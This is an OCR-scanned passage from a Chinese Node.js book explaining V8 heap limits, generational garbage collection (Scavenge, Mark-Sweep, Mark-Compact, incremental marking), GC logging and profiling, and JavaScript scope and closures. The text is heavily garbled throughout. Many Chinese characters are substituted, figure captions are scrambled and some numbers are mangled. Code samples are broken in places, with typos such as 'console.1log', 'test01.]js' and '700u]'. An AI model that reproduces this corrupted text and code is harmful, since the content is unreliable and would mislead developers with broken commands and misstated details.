heapTotal: 7195904， 
heapUsed: 2821496 } 


在 上 述 代 码 中 ,在 memoryUsage() 方 法 返回 的 3 个 属性 中 ,heapTotal 和 heapUsed 是 V8 的 堆 内 存 
使 用 情况 ， 前 者 是 已 申请 到 的 堆 内 存 ， 后 者 是 当前 使 用 的 量 。 至 于 rss 为 何 ， 我 们 在 后 续 的 内 容 
中 会 介绍 到 。 图 5-1 为 V8 的 堆 示意 图 : 


堆 


图 5-1 V8 的 堆 示 意图 


当 我 们 在 代码 中 声明 变量 并 赋值 时 ,所 使 用 对 象 的 内 存 束 分 配 在 堆 中 。 如 果 已 申请 的 堆 空 亲 
内 存 不 够 分 配 新 的 对 象 ， 将 继续 申请 堆 内 存 ， 下 到 堆 的 大 小 超过 V8 的 限制 为 止 。 

至 于 V8 为 何 要 限制 堆 的 大 小 ， 表 层 原 因为 V8 最 初 为 浏览 带 而 设计 ， 不 太 可 能 过 到 用 大 量 内 
存 的 场景 。 对 于 网 页 来 说 ，V8 的 限制 值 已 经 绰绰有余 。 深 层 原 因 是 V8 的 垃圾 回收 机 制 的 限制 。 
按时 方 的 说 法 ,以 1.5 GB 的 垃圾 回收 堆 内 存 为 例 ，V8 做 一 次 小 的 垃圾 回收 需要 50 晕 秒 以 上 , 做 一 
次 非 培 量 式 的 垃圾 回收 其 至 要 1 秒 以 上 。 这 是 垃圾 回收 中 引起 JavaScript 线 程 暂 信 执 行 的 时 间 ， 在 
这 样 的 时 间 花 销 下 ,应 用 的 性 能 和 啊 应 能 力 都 会 直线 下 降 。 这 样 的 情况 不 仅仅 后 端 服务 无 法 接受 ， 
前 站 浏览 硕 也 无 法 接受 。 因 此 ， 在 当时 的 考 夸 下 直接 限制 堆 内 存 是 一 个 好 的 选择 。 

当然 ， 这 个 限制 也 不 是 不 能 打开 ，V8 依 然 提供 了 选项 让 我 们 使 用 更 多 的 内 存 。Node 在 启动 
时 可 以 传递 --max-old-space-size 或 --max-new-space-size 来 调整 内 存 限制 的 大 小 ， 示 例如 下 : 

node --max-old-space-size=1700 test.js // 单位 为 MB 

// 或 者 

node --max-new-space-size=1024 test.js // 单位 为 KB 

上 述 参 数 在 V8 初始化 时 生效 ,一 旦 生效 就 不 能 再 动态 改变 。 如 果 遇 到 Node 无 法 分 配 足 够 内 
存 给 JavaScript 对 和 象 的 悄 帝 ， 可 以 用 这 个 办 法 来 放宽 V8 上 默认 的 内 存 限制 ， 避免 在 执行 过 程 中 稍微 
多 用 了 一 些 内 存 就 轻易 朋 演 。 

接 下 来 ， 让 我 们 更 深入 地 了 解 V8 在 垃圾 回收 方面 的 策略 。 在 限制 的 前 提 下 ， 市 着 刍 钳 跳出 
的 舞蹈 并 不 一 定 就 难看 。 


5.1.4 V8 的 垃圾 回收 机 制 

在 展开 介绍 V8 的 垃圾 回收 机 制 前 ， 有 必要 简略 介绍 下 V8 用 到 的 各 种 垃圾 回收 算法 。 

1.V8 主 要 的 垃圾 回收 算法 

V8 的 垃圾 回收 策略 主要 基于 分 代 式 垃圾 回收 机 制 。 在 自动 垃圾 回收 的 演变 过 程 中 ， 人 们 发 
现 没有 一 种 垃圾 回收 算法 能 够 胜任 所 有 的 场景 。 因 为 在 实际 的 应 用 中 , 对象 的 生存 周期 长 短 不 一 ， 
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不 同 的 算法 只 能 针对 特定 情况 具有 最 好 的 效果 。 为 此 , 统计 学 在 垃圾 回收 算法 的 发 展 中 产生 了 较 
大 的 作用 , 现代 的 垃圾 回收 算法 中 按 对 象 的 存活 时 间 将 内 存 的 垃圾 回收 进行 不 同 的 分 代 , 然后 分 
别 对 不 同 分 代 的 内 存 施 以 更 高 效 的 算法 。 

@ V8 的 内 存 分 代 

在 V8 中 ， 主 要 将 内 存 分 为 新 生 代 和 老生 代 两 代 。 新 生 代 中 的 对 象 为 存活 时 间 较 短 的 对 象 ， 


老生 代 中 的 对 象 为 存活 时 间 较 长 或 第 驻 内 存 的 对 象 。 图 5-2 为 V8 的 分 代 示 童 图 。 


| 老生 代 的 内 存 空间 


图 5-2 V8 的 分 代 示意 图 


V8 堆 的 整体 大 小 就 是 新 生 代 所 用 内 存 空间 加 上 老生 代 的 内 存 空间 。 前 面 我 们 提 及 的 
--max-01d-space-size 命 令 行 参数 可 以 用 于 设置 老生 代 内 存 空间 的 最 大 值 , --max-new-space-size 
命令 行 参数 则 用 于 设置 新 生 代 内 存 空间 的 大 小 的 。 比 较 遗 憾 的 是 , 这 两 个 最 大 值 需 要 在 启动 时 就 
指定 。 这 意味 者 V8 使 用 的 内 存 没有 办 法 根据 使 用 情况 自动 扩充 ， 当 内 存 分 配 过 程 中 超过 极限 值 
时 ， 就 会 引起 进程 出 错 。 

前 面 提 到 过 ,在 默认 设置 下 ， 如 采 一 直 分 配 内 存 , 在 64 位 系统 和 32 位 系统 下 会 分 别 只 能 使 用 
约 1.4 GB 和 约 0.7 GB 的 大 小 。 这 个 限制 可 以 从 V8 的 源码 中 找到 ,在 下 面 的 代码 中 ,Page: :kPageSize 
的 值 为 IMB。 可 以 看 到 ， 老 生 代 的 设置 在 64 位 系统 下 为 1400 MB， 在 32 位 系统 下 为 700 MB: 


// semispace size should be a power of 2 and old generation size should be 

// a multiple of Page::kPageSize 

#if defined(V8 TARGET ARCH X64) 

#define LUMP OF MEMORY (2 * MB) 
code range size (512*MB), 

#else 

#define LUMP OF MEMORY MB 
code range size (0)， 

#endif 

#if defined(ANDROID) 
reserved semispace size (4 * Max(LUMP OF MEMORY, Page: :kPageSize)), 
max_semispace size (4 * Max(LUMP OF MEMORY, Page::kPageSize)), 
initial semispace size (Page::kPageSize), 
max_old generation size (192*MB), 
max_executable size (max old generation size )， 

#else 
reserved semispace size (8 * Max(LUMP OF MEMORY, Page: :kPageSize)), 
max_semispace size (8 * Max(LUMP OF MEMORY, Page::kPageSize)), 
initial semispace size (Page::kPageSize), 
max_old generation size (700u] * LUMP OF MEMORY), 
max_executable size (256] * LUMP OF MEMORY), 

#endif 


对 于 新 生 代 内 存 ， 它 由 两 个 reserved_semispace_size 所 构成 ,后面 将 描述 其 原因 。 按 机 带 
位 数 不 同 ，reserved semispace size 在 64 位 系统 和 32 位 系统 上 分 别 为 16 MB 和 8 MB。 所 以 新 生 
代 内 存 的 最 大 值 在 64 位 系统 和 32 位 系统 上 分 别 为 32 MB 和 16 MB。 
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V8 堆 内 存 的 最 大 保留 空间 可 以 从 下 面 的 代码 中 看 出 来 ， 其 公式 为 4 * reserved_semispace_ 


size + max old generation size : 


// Returns the maximum amount of memory reserved for the heap. For 
// the young generation, we reserve 4 times the amount needed for a 
// semi space. The young generation consists of two semi spaces and 
// we reserve twice the amount needed for those in order to ensure 
// that new space can be aligned to its size 
intptr t MaxReserved() { 

return 4 * reserved semispace size + max old generation size ; 


} 


因此 ， 默 认 情 况 下 ，V8 堆 内 存 的 最 大 值 在 64 位 系统 上 为 1464 MB，32 位 系统 上 则 为 732 MB。 
文 个 数值 可 以 解释 为 何在 64 位 系统 下 只 能 使 用 约 1.4 GB 内 存 和 在 32 位 系统 下 只 能 使 用 约 0.7 GB 
内 存 。 

@ Scavenge 算 法 

在 分 代 的 基础 上 ， 新 生 代 中 的 对 象 主 要 通过 Scavenge 算 法 进行 垃圾 回收 。 在 Scavenge 的 具体 
实现 中 ， 主 要 采用 了 Cheney 算 法 ,该 算法 由 C.J Cheney 于 1970 年 首次 发 表 在 ACM 论 文 上 。 

Cheney 算 法 是 一 种 采用 复制 的 方式 实现 的 垃圾 回收 算法 。 它 将 堆 内 存 一 分 为 二 , 每 一 部 分 空 
间 称 为 semispace。 在 这 两 个 semispace 空 间 中 ， 只 有 一 个 处 于 使 用 中 ， 另 一 个 处 于 闲置 状态 。 处 
于 使 用 状态 的 semispace 空 间 称 为 From 空 间 ， 人 闲置 状态 的 空间 称 为 To 空间 。 当 我 们 4 — 
时 ， 先 是 在 From 空 间 中 进行 分 配 。 当 开始 进行 垃圾 回收 时 ， 会 检查 From 空 间 中 的 存活 对 象 ， 

些 存 活 对 象 将 被 复制 到 To 空间 中 ， 人 x 间 将 会 被 释放 。 完 成 复制 后 ，From 空 
间 和 To 空间 的 角色 发 生 对 换 。 们 而 言 之 ， 在 垃圾 回收 的 过 程 中 ， 就 是 通过 将 存活 对 象 在 两 个 
semispace 空 间 之 间 进 行 复 制 。 

Scavenge 的 缺点 是 只 能 使 用 堆 内 存 中 的 一 半 ， 这 是 由 划分 空间 和 复制 机 制 所 决定 的 。 但 
Scavenge 由 于 只 复制 存活 的 对 象 ， 并 且 对 于 生命 周期 短 的 场景 存活 对 象 只 占 少 部 分 ， 所 以 它 在 时 
同 效率 上 有 优异 的 表现 。 

由 于 Scavenge 是 典型 的 牺牲 空间 换取 时 间 的 算法 , 所 以 无 法 大 规模 地 应 用 到 所 有 的 垃圾 回收 
中 。 但 可 以 发 现 ，Scavenge 非 常 适合 应 用 在 新 生 代 中 ， 因 为 新 生 代 中 对 象 的 生命 周期 较 短 ， 恰 恰 
适合 这 个 算法 。 

是 故 ，V8 的 堆 内 存 示 意图 应 当 如 图 5$-3 所 示 。 


新 生 代 内 存 空 间 老生 代 内 存 空 间 
semil seml 
space space 
(From) (To) 
图 5-3 ”V8 的 堆 内 存 示意 图 


实际 使 用 的 堆 内 存 是 新 生 代 中 的 两 个 semispace 空 间 大 小 和 老生 代 所 用 内 存 大 小 之 和 。 
当 一 个 对 象 经 过 多 次 复制 依然 存活 时 , 它 将 会 被 认为 是 生命 周期 较 长 的 对 象 。 这 种 较 长 生命 
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周期 的 对 象 随 后 会 被 移动 到 老生 代 中 , 采用 新 的 算法 进行 管理 。 对 象 从 新 生 代 中 移动 到 老生 代 中 
的 过 程 称 为 普 升 。 

在 单纯 的 Scavenge 过 程 中 ，From 空 间 中 的 存活 对 象 会 被 复制 到 To 空间 中 去 ， 然 后 对 From 空 
则 和 To 空间 进行 角色 对 换 ( 又 称 翻转 ) 。 但 在 分 代 式 垃圾 回收 的 前 提 下 ，From 空 间 中 的 存活 对 
象 在 复制 到 To 空间 之 前 需要 进行 检查 ,在 一 定 条 件 下 ,需要 将 存活 周期 长 的 对 象 移动 到 老生 代 中 ， 
也 就 是 完成 对 象 晋升 。 

对 和 象 普 升 的 条 件 主 要 有 两 个 , 一 个 是 对 象 是 否 经 历 过 Scavenge 回 收 ， 一 个 是 To 空间 的 内 存 占 
用 比 超过 限制 。 

加 默认 情况 下 ,V8 的 对 象 分 配 主要 集中 在 From 空 间 中 。 对 象 从 From 空 间 中 复制 到 To 空间 时 ， 

它 的 内 存 地 址 来 判断 这 个 对 象 是否 已 经 经 历 过 一 次 Scavenge 回 收 。 如 果 已 经 经 历 过 了 , 会 
ea 间 复 制 到 老生 代 空 间 中 ， 如 果 没 有 ， 则 复制 到 To 空间 中 。 这 个 普 升 流程 如 图 


5-4 所 未 。 
sem1 space 
(From) 


经 历 过 
Scavenge 


回收 ? 


~ Seml Space 
(10) | 


老生 代 空 间 


图 5-4 ”晋升 流程 
另 一 个 判断 条 件 是 To 空间 的 内 存 占用 比 。 当 要 从 From 空 间 复 制 一 个 对 象 到 To 空间 时 ， 如 采 


空间 已 经 使 用 了 超过 2$%, 则 这 个 对 象 直 接 普 升 到 老生 代 空 间 中 , 这 个 晋升 的 判断 示意 图 如 图 
ee 


~ Seml Space 
人 (10) | 


老生 代 空 间 


图 5-5” 普 升 的 判断 示意 图 
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设置 23% 这 个 限制 值 的 原因 是 当 这 次 Scavenge 回 收 完成 后 ,这 个 To 空间 将 变 成 From 空 间 , 接 
下 来 的 内 存 分 配 将 在 这 个 空间 中 进行 。 如 果 占 比 过 高 ， 会 影响 后 续 的 内 存 分 配 。 

对 象 普 升 后 ,将 会 在 老生 代 空 间 中 作为 存活 周期 较 长 的 对 象 来 对 得 ,接受 新 的 回收 算法 处 理 。 

@ Mark-Sweep & Mark-Compact 

对 于 老生 代 中 的 对 象 ， 由 于 存活 对 象 占 较 大 比重 ， 再 采用 Scavenge 的 方式 会 有 两 个 问题 : 一 
个 是 存活 对 象 较 多 , 复制 存活 对 象 的 效率 将 会 很 低 ; 为 一 个 问题 依然 是 浪费 一 半空 间 的 问题 。 这 
两 个 问题 导致 应 对 生命 周期 较 长 的 对 象 时 Scavenge 会 显得 捉襟见肘 。 为 此 ,V8 在 老生 代 中 主要 采 
用 了 Mark-Sweep 和 Mark-Compact 相 结合 的 方式 进行 垃圾 回收 。 

Mark-Sweep 是 标记 清除 的 意思 , 它 分 为 标记 和 清除 两 个 阶段 。 与 Scavenge 相 比 , Mark-Sweep 
并 不 将 内 存 空间 划分 为 两 半 , 所 以 不 存在 浪费 一 半空 间 的 行为 。 与 Scavenge 复 制 活 着 的 对 象 不 同 ， 
Mark-Sweep 在 标记 阶段 过 历 扒 中 的 所 有 对 象 , 并 标记 活 看 的 对 象 , 在 随后 的 清除 阶段 中 ,只 清除 
没有 被 标记 的 对 象 。 可 以 看 出 ，Scavenge 中 只 复制 活着 的 对 象 ， 而 Mark-Sweep 只 清理 死亡 对 象 。 
活 对 象 在 新 生 代 中 只 占 较 小 部 分 , 死 对 象 在 老生 代 中 只 占 较 小 部 分 , 这 是 两 种 回收 方式 能 高 效 处 
理 的 原因 。 图 5-6 为 Mark-Sweep 在 老生 代 空 间 中 标记 后 的 示意 图 ， 黑 色 部 分 标记 为 死亡 的 对 象 。 

老生 代 空 间 


| 


图 5-6 ”Mark-Sweep 在 老生 代 空 间 中 标记 后 的 示意 图 

Mark-Sweep 最 大 的 问题 是 在 进行 一 次 标记 清除 回收 后 , 内 存 空间 会 出 现 不 连续 的 状态 。 这 种 
内 存 雁 片 会 对 后 续 的 内 存 分 配 造成 问题 ,因为 很 可 能 出 现 需 要 分 配 一 个 大 对 象 的 情况 , 这 时 所 有 
的 碎片 空间 都 无 法 完成 此 次 分 配 ， 就 会 提前 触发 垃圾 回收 ， 而 这 次 回收 是 不 必要 的 。 

为 了 解决 Mark-Sweep 的 内 存 碎 片 问题 ，Mark-Compact 被 提出 来 。Mark-Compact 是 标记 整理 
的 意思 , 是 在 Mark-Sweep 的 基础 上 演变 而 来 的 。 它 们 的 差别 在 于 对 象 在 标记 为 死亡 后 , 在 整理 的 
过 程 中 ,将 活 看 的 对 象 往 一 端 移动 ,移动 完成 后 , 直接 清理 挥 边界 外 的 内 存 。 网 5-7 为 Mark-Compact 
完成 标记 并 移动 存活 对 象 后 的 示意 图 , 日 色 格子 为 存活 对 象 , 诬 色 格子 为 死亡 对 象 , 浅 色 格子 为 
存活 对 象 移 动 后 留 下 的 空洞 。 


整理 内 存 空 间 【有 死亡 对 象 ) 


图 5-7 “Mark-Compact 完 成 标记 并 移动 存活 对 象 后 的 示意 
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完成 移动 后 ， 就 可 以 直接 清除 最 右边 的 存活 对 象 后 面 的 内 存 区 域 完成 回收 。 
这 里 将 Mark-Sweep 和 Mark-Compact 结 合 着 介绍 不 仅 仪 是 因为 两 种 策略 是 递 进 关系， 在 V8 的 
回收 策略 中 两 者 是 结合 使 用 的 。 表 5$-1 是 目前 介绍 到 的 3 种 主要 垃圾 回收 算法 的 简单 对 比 。 


表 5-1 3 种 垃圾 回收 算法 的 简单 对 比 


回收 算法 Mark-Sweep Mark-Compact Scavenge 
和 
空间 开销 少 (有 碎片 ) 少 (无 碎片 ) 双 倍 空间 〈 无 碎片 ) 
是 否 移动 对 象 十 征 是 


从 表 5-1 中 可 以 看 到 , 在 Mark-Sweep 和 Mark-Compact 之 间 , 由 于 Mark-Compact 需 要 移动 对 象 ， 
所 以 它 的 执行 速度 不 可 能 很 快 ， 所 以 在 取舍 上 ，V8 主 要 使 用 Mark-Sweep， 在 空间 不 足以 对 从 新 
生 代 中 晋升 过 来 的 对 象 进行 分 配 时 才 使 用 Mark-Compact。 

@ Incremental Marking 

为 了 避免 出 现 JavaScript 必 用 逻辑 与 垃圾 回收 融 看 到 的 不 一 致 的 情况 ， 垃 圾 回收 的 3 种 基本 算 
法 都 需要 将 应 用 逻辑 暂 俘 下 来 ， 待 执行 完 垃 圾 回收 后 再 恢复 执行 应 用 逻辑 ,这 种 行为 被 称 为 “全 
停顿 ” ( stop-the-world ) 。 在 V8 的 分 代 式 垃圾 回收 中 , 一 次 小 垃圾 回收 只 收集 新 生 代 ， 由 于 新 生 
代 上 默认 配置 得 较 小 ， 且 其 中 存活 对 象 通常 较 少 ， 所 以 即便 它 是 全 仿 顿 的 影响 也 不 大 。 但 V8 的 老 
生 代 通常 配置 得 较 大 ， 旦 存活 对 和 象 较 多 ， 全 堆 坪 圾 回收 (full 垃圾 回收 ) 的 标记 、 清 理 、 整 理 等 
动作 造成 的 停顿 就 会 比较 可 怕 ， 和 需要 设法 改善 。 

为 了 降低 全 堆 垃 圾 回收 带 来 的 停顿 时 间 ，V8 先 从 标记 阶段 人手， 将 原本 要 一 口气 停顿 完成 
的 动作 改 为 增 量 标记 (incremental marking ) ， 也 就 是 拆 分 为 许多 小 “ 步 进 ”， 每 做 完 一 “ 步 进 ” 
就 让 JavaScript 应 用 逻辑 执行 一 小 会 儿 ， 垃 圾 回收 与 应 用 逻辑 交 蔡 执行 直到 标记 阶段 完成 。 图 5-8 
为 增 量 标记 示意图 。 


JavaScript ——» a 

， 初始 化 标记 | ， ， | 二 

垃圾 回收 ( 们 新) 清理 /整理 
增 量 标记 


图 $-8” 增 量 标 记 示 意图 


V8 在 经 过 增 量 标记 的 改进 后 ,垃圾 回收 的 最 大 修 顿 时 间 可 以 减少 到 原本 的 1/6 左 右 。 

V8 后 续 还 引入 了 延迟 清理 (lazy sweeping ) 与 增 量 式 整 理 ( incremental compaction ) ， 让 清 
理 与 整理 动作 也 变 成 增 量 式 的 。 同 时 还 计划 引入 并 行 标记 与 并 行 清理 , 进一步 利用 多 核 性 能 降低 
每 次 停顿 的 时 间 。 鉴 于 篇 幅 有 限 ， 此 处 不 青 深入 讲解 了 。 

2. 小 结 

从 V8 的 目 动 垃圾 回收 机 制 的 设计 角度 可 以 看 到 ，V8 对 内 存 使 用 进行 限制 的 绿 由 。 新 生 代 设 
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计 为 一 个 较 小 的 内 存 空 间 是 合理 的 ， 而 老生 代 空 间 过 大 对 于 垃圾 回收 并 无 特别 意义 。V8 对 内 存 
限制 的 设置 对 于 Chrome 浏 览 器 这 种 每 个 选项 卡 页 面 使 用 一 个 V8 实 例 而 言 ， 内 存 的 使 用 是 绰 绰 有 
余 了 。 对 于 Node 编 写 的 服务 需 端 来 说 ， 内 存 限 制 也 并 不 影响 正常 场景 下 的 使 用 。 但 是 对 于 V8 的 
垃圾 回收 特点 和 JavaScript 在 单线 程 上 的 执行 情况 , 垃圾 回收 是 影响 性 能 的 因素 之 一 。 想 要 高 性 能 
的 执行 效率 ， 需 要 注意 让 垃圾 回收 尽量 少 地 进行 ， 尤 其 是 全 堆 垃 圾 回收 。 

以 Web 服 务 器 中 的 会 话 实 现 为 例 ,一 般 通 过 内 存 来 存储 , 但 在 访问 量 大 的 时 候 会 导致 老生 代 
中 的 存活 对 象 又 增 ， 不 仅 造成 清理 /整理 过 程 费时 ， 还 会 造成 内 存 紧 张 ， 甚 至 溢出 〈 详情 可 参见 
第 8 章 ) 。 


5.1.5 ”查看 垃圾 回收 日 志 


查看 垃圾 回收 日 志 的 方式 主要 是 在 启动 时 添加 --trace_gc 参 数 。 在 进行 垃圾 回收 时 ,将 会 从 
标准 输出 中 打印 垃圾 回收 的 日 志 人 信息。 下面 是 一 段 示例 ， 执 行 结束 后 ， 将 会 在 gc.log 文 件 中 得 到 
所 有 垃圾 回收 信息 : 

node --trace gc -e "var a = [|];for (var i = 0; i «< 1000000; i++) a.push(new Array(100));" > gc.log 


下 面 是 我 截取 的 垃圾 回收 日 志 中 的 部 分 重要 内 容 : 


[2489] 19 ms: Scavenge 1.9 (34.0) -> 1.8 (35.0) MB, 1 ms [Runtime::PerformGC]. 
[2489] 36 ms: Mark-sweep 9.1 (40.0) -> 9.0 (44.0) MB, 10 ms [Runtime::PerformGC] [promotion limit 
reached|]. 


[2489] Limited new space size due to high promotion rate: 1 MB 
[2489] Increasing marking speed to 3 due to high promotion rate 


[2489] 107 ms: Mark-sweep 38.4 (73.0) -> 38.0 (74.0) MB, 3 ms (+ 23 ms in 63 steps since start 
of marking, biggest step 0.284180 ms) [Runtime::PerformGC|] [promotion limit reached]. 


[2489] 188 ms: Mark-sweep 63.8 (100.0) -> 63.4 (100.0) MB, 45 ms [Runtime::PerformGC] [GC in old 
space Tequested ] . 


[2489 ] 395 ms: Scavenge 182.9 (220.3) -> 182.9 (221.3) MB, 1 ms (+ 2 ms in 7 steps since last GC) 
[Runtime: :PerformGC| [incremental marking delaying mark-sweep]. 


通过 分 析 垃 圾 回收 日 志 , 可 以 了 解 垃圾 回收 的 运行 状况 , 找 出 垃圾 回收 的 哪些 阶段 比较 耗 时 ， 
触发 的 原因 是 什么 。 

通过 在 Node 局 动 时 使 用 --prof 参 数 ， 可 以 得 到 V8 执 行 时 的 性 能 分 析 数 据 ， 其 中 包含 了 垃圾 
回收 执行 时 占用 的 时 间 。 下 面 的 代码 不 断 创建 对 象 并 将 其 分 配给 局 部 变量 a， 这 里 将 以 下 代码 存 
为 test01.js 文 件 : 


for (var i = 0; i «< 1000000; i++) { 
var a = {}; 
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然后 执行 以 下 命令 : 


$ node --prof test01.]js 
这 将 会 在 目录 下 得 到 一 个 v8.log 日 志文 件 。 该 日 志文 件 基 本 不 具备 可 读 性 ， 内 容 大 致 如 下 : 


code-creation,LazyCompile,Ox1idd61958ec00,396," 
/Users/jacksontian/git/diveintonode/examples/05/test01.]js:1" ,0x38c53b008370,~ 

tick,Ox10031daaa, Ox7fff5fbfe4co,0,0x34bb,2,0x1dd61958eb3e,O0x1dd6195688bf,0x1dd6195689e5,0x1dd61956 
7599,0x1dd619566efc,0x1dd619568e4b,0x1dd61952e78a 

code-creation,LazyCompile,Ox1idd61958eda0,532," 
/Users/jacksontian/git/diveintonode/examples/05/test01.]js:1" ,Ox38c53b008370,* 
tick,Ox1idd61958eecd,Ox7fff5fbff3b8,0,0x1i6e3f,0,0x1dd6195688bf,0x1dd6195689e5,0x1dd619567599, Ox1dd6 
19566efc,0x1dd619568e4b ,0x1dd61952e78a 

tick,Ox1dd61958ee55,O0x7fff5fbff3b8 ,0,0x5082a,0,0x1dd6195688bf,0x1dd6195689e5,0x1dd619567599 ,0x1dd6 
19566efc,0x1dd619568e4b ,0x1dd61952e78a 

tick,Ox1dd61958ee77,0x7fff5fbff3b8 ,0,0x8c593,0,0x1dd6195688bf,0x1dd6195689e5,0x1dd619567599 ,0Ox1dd6 
19566efc,0x1dd619568e4b ,0x1dd61952e78a 
tick,Ox1dd61958ee71,0x7fff5fbff3b8,0,0xc8717,0,0x1dd6195688bf,0x1dd6195689e5,0x1dd619567599, 0x1dd6 
19566efc,0x1dd619568e4b ,0x1dd61952e78a 

code-creation,StoreIC,Ox1dd61958efc0O,185,"1loaded" 


所 注 ，V8 提 供 了 linux-tick-processor 工 具 用 于 统计 日 志 信 息 。 该 工具 可 以 从 Node 源 码 的 


deps/v8/tools 目 录 下 找到 ，Windows 下 的 对 应 命令 文件 为 windows-tick-processor.bat。 将 该 目录 添 
加 到 环境 变量 PATH 中 ， 即 可 直接 调用 : 


$ linux-tick-processor V8.1o8g 
下 面 为 我 菜 次 运行 日 志 的 统计 结 来 : 


Statistical profiling result from v8.log, (37 ticks, 1 unaccounted, 0 excluded). 


[Unknown ] : 
ticks total nonlib name 
1 2.7% 


[Shared libraries|: 
ticks total nonlib name 
28 75.7% 0.0% /usr/local/bin/node 
2 5.4% 0.0% /usr/lib/system/libsystem kernel.dylib 
2 5 .4% 0.0% /usr/lib/system/libsystem c.dylib 


[JavaScript |]: 
ticks total nonlib name 
3 8.1% 60.0% LazyCompile: *<anonymous> 
/Users/jacksontian/git/diveintonode/examples/05/test01.]js:1 
1 2.7% 20.0% Stub: FastCloneShallowObjectStub 
1 2.7% 20.0% Function: ~NativeModule.compile node.js:613 


[C++]: 

ticks total nonlib name 
[GC]: 

ticks total nonlib ”name 


2 5 .4% 
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[Bottom up (heavy) profilej]: 

Note: percentage shows a share of a particular caller in the total 
amount of its parent calls. 

Callers occupying less than 2.0% are not shown. 


ticks parent name 
28 75.7% /usr/local/bin/node 


统计 内 容 较 多 ， 其 中 垃圾 回收 部 分 如 下 : 


[GC]: 
ticks total nonlib name 
2 5 .4% 


由 于 不 断 分 配对 象 ， 垃 圾 回收 所 占 的 时 间 为 5.4%。 按 此 比例 ， 这 意味 着 事件 循环 执行 1000 
坚 秒 的 过 程 中 要 给 出 54 瞩 秒 的 时 间 用 于 垃圾 回收 。 


5.2 ”高 效 使 用 内 存 
在 V8 面前 ， 开 发 者 所 要 具备 的 责任 是 如 何 让 垃圾 回收 机 制 更 高 效 地 工作 。 


5.2.1 作用 域 


提 到 如 何 触发 垃圾 回收 ， 第 一 个 要 介绍 的 是 作用 域 ( scope J 在 JavaScript 中 能 形成 作用 域 
的 有 也 数 调用 、with 以 及 全 局 作用 域 。 
以 如 下 代码 为 例 : 


var foo = function () { 
var local = {}; 


月 

foo() 函数 在 每 次 被 调用 时 会 创建 对 应 的 作用 域 ， 函 数 执行 结束 后 ， 该 作用 域 将 会 销毁 。 同 
时 作用 域 中 声明 的 局 部 变量 分 配 在 该 作用 域 上 , 随 作 用 域 的 销毁 而 销毁 。 只 被 局 部 变量 引用 的 对 
象 存活 周期 较 短 。 在 这 个 示例 中 , 由 于 对 象 非 党 小 , 将 会 分 配 在 新 生 代 中 的 From 空 间 中 。 在 作用 
域 释 放 后 ， 局 部 变量 local 失 效 ， 其 引用 的 对 象 将 会 在 下 次 垃圾 回收 时 被 释放 。 

以 上 就 是 最 基本 的 内 存 回 收 过 程 。 

1. 标识 符 碍 找 

与 作用 域 相关 的 即 是 标识 符 查 找 。 所 谓 标 识 符 ， 可 以 理解 为 变量 名 。 在 下 面 的 代码 中 ， 执 行 
bar() 函 数 时 ， 将 会 遇 到 1]ocal 变 量 : 


var bar = function () { 
console.1log(local); 


JavaScript 在 执行 时 会 去 查找 该 变量 定义 在 哪里 。 它 最 和 完 查 找 的 是 当前 作用 域 , 如 果 在 当前 作 
用 域 中 无 法 找到 该 变量 的 声明 ， 将 会 同上 级 的 作用 域 里 查找 ， 直 到 碍 到 为 止 。 
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2. 作用 域 链 
在 下 面 的 代码 中 : 


var foo = function () { 
var local = 'local var'; 
var bar = function () { 
var local = ‘another Var ; 
var baz = function () { 
console.1log(local); 


baz(); 
| 
‘ars 
poo 
local 空 量 在 baz() 也 数 形 成 的 作用 域 里 查找 不 到 , 继而 将 在 bar() 的 作用 域 里 寻找 。 如 果 去 掉 
上 上述 代码 bar() 中 的 local 声 明 ， 将 会 继续 向 上 查找 ， 一 直到 全 局 作用 域 。 这 样 的 查找 方式 使 得 作 
用 域 像 一 个 链条 。 由 于 标识 符 的 查找 方 回 是 和 同上 的 ， 所 以 变量 只 能 回 外 访问 ， 而 不 能 回 内 访问 。 
图 5-9 为 变量 在 作用 域 中 的 查找 示意 图 。 


baz() 
bar() 
J 
ee 


foo( ) 


local:'local va 
bar: function 


global 


图 5-9 ”变量 在 作用 域 中 的 查找 示意 图 


当 我 们 在 baz() 函 数 中 访问 local 变 量 时 , 由 于 作用 域 中 的 变量 列表 中 没有 local, 所 以 会 加 上 
一 个 作用 域 中 查找 ,接着 会 在 bar() 函 数 执行 得 到 的 变量 列表 中 找到 了 一 个 local 变 量 的 定义 ,于 
是 使 用 它 。 尽 管 在 再 上 一 层 的 作用 域 中 也 存在 local 的 定义 ,但 是 不 会 继续 查找 了 。 如 果 查 找 一 
个 不 存在 的 变量 ,将 会 一 下 沿 者 作用 域 链 查 找到 全 局 作用 域 ， 最 后 抛 出 未 定义 错误 。 

了 解 了 作用 域 ， 有 助 于 我 们 了 解 变量 的 分 配 和 释放 。 

3. 变量 的 主动 释放 

如 条 变量 是 全 局 变量 〈 不 通过 var 声 明 或 定义 在 global 变 量 上 ) ， 由 于 全 局 作用 域 需 要 直到 
进程 退出 才能 释放 ， 此 时 将 导致 引用 的 对 象 帝 驻 内 存 ( 篆 驻 在 老生 代 中 ) 。 如 果 需 要 释放 律 驻 内 
存 的 对 象 ， 可 以 通过 delete 操 作 来 删除 引用 关系 。 或 者 将 变量 重新 赋值 ， 让 旧 的 对 象 脱离 引用 关 
系 。 在 接 下 来 的 老生 代 内 存 清除 和 整理 的 过 程 中 ,会 被 回收 释放 。 下 面 为 示例 代码 : 
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global.foo = "I am global object"; 
console.log(global.foo0); // => "I am global object" 
delete global.foo; 

// 或 者 重新 赋值 

global.foo = undefined; // or null 
console.log(global.foo); // => undefined 


同样 ， 如 末 在 非 全 局 作用 域 中 ， 想 主动 释放 变量 引用 的 对 象 ， 也 可 以 通过 这 样 的 方式 。 里 然 
delete 控 作 和 重新 赋值 具有 相同 的 效果 ,但 是 在 V8 中 通过 delete 删 除 对 和 象 的 属性 有 可 能 干扰 V8 
的 优化 ， 所 以 通过 赋值 方式 解除 引用 更 好 。 


5.2.2 闭 包 


我 们 知道 作用 域 链 上 的 对 和 象 访 问 只 能 向 上 ， 这 样 外 部 无 法 向 内 部 访问 。 如 下 代码 可 以 正 管 
打印 : 


var foo = function () { 

var local = "局 部 变量 "; 

(function () { 
console.1log(local); 

}()); 

}; 


但 在 下 面 的 代码 中 ， 却 会 得 到 1ocal 示 定义 的 异 第 : 


var foo = function () { 
(function () { 
Var local = "局 部 变量 "; 
}()); 


console.1log(local); 


在 JavaScript 中 ， 实 现 外 部 作用 域 访问 内 部 作用 域 中 变量 的 方法 叫做 闭 包 (closure ) 。 这 得 益 
于 高 阶 函数 的 特性 函数 可 以 作为 参数 或 者 返回 值 。 示 例 代 码 的 如 下 : 


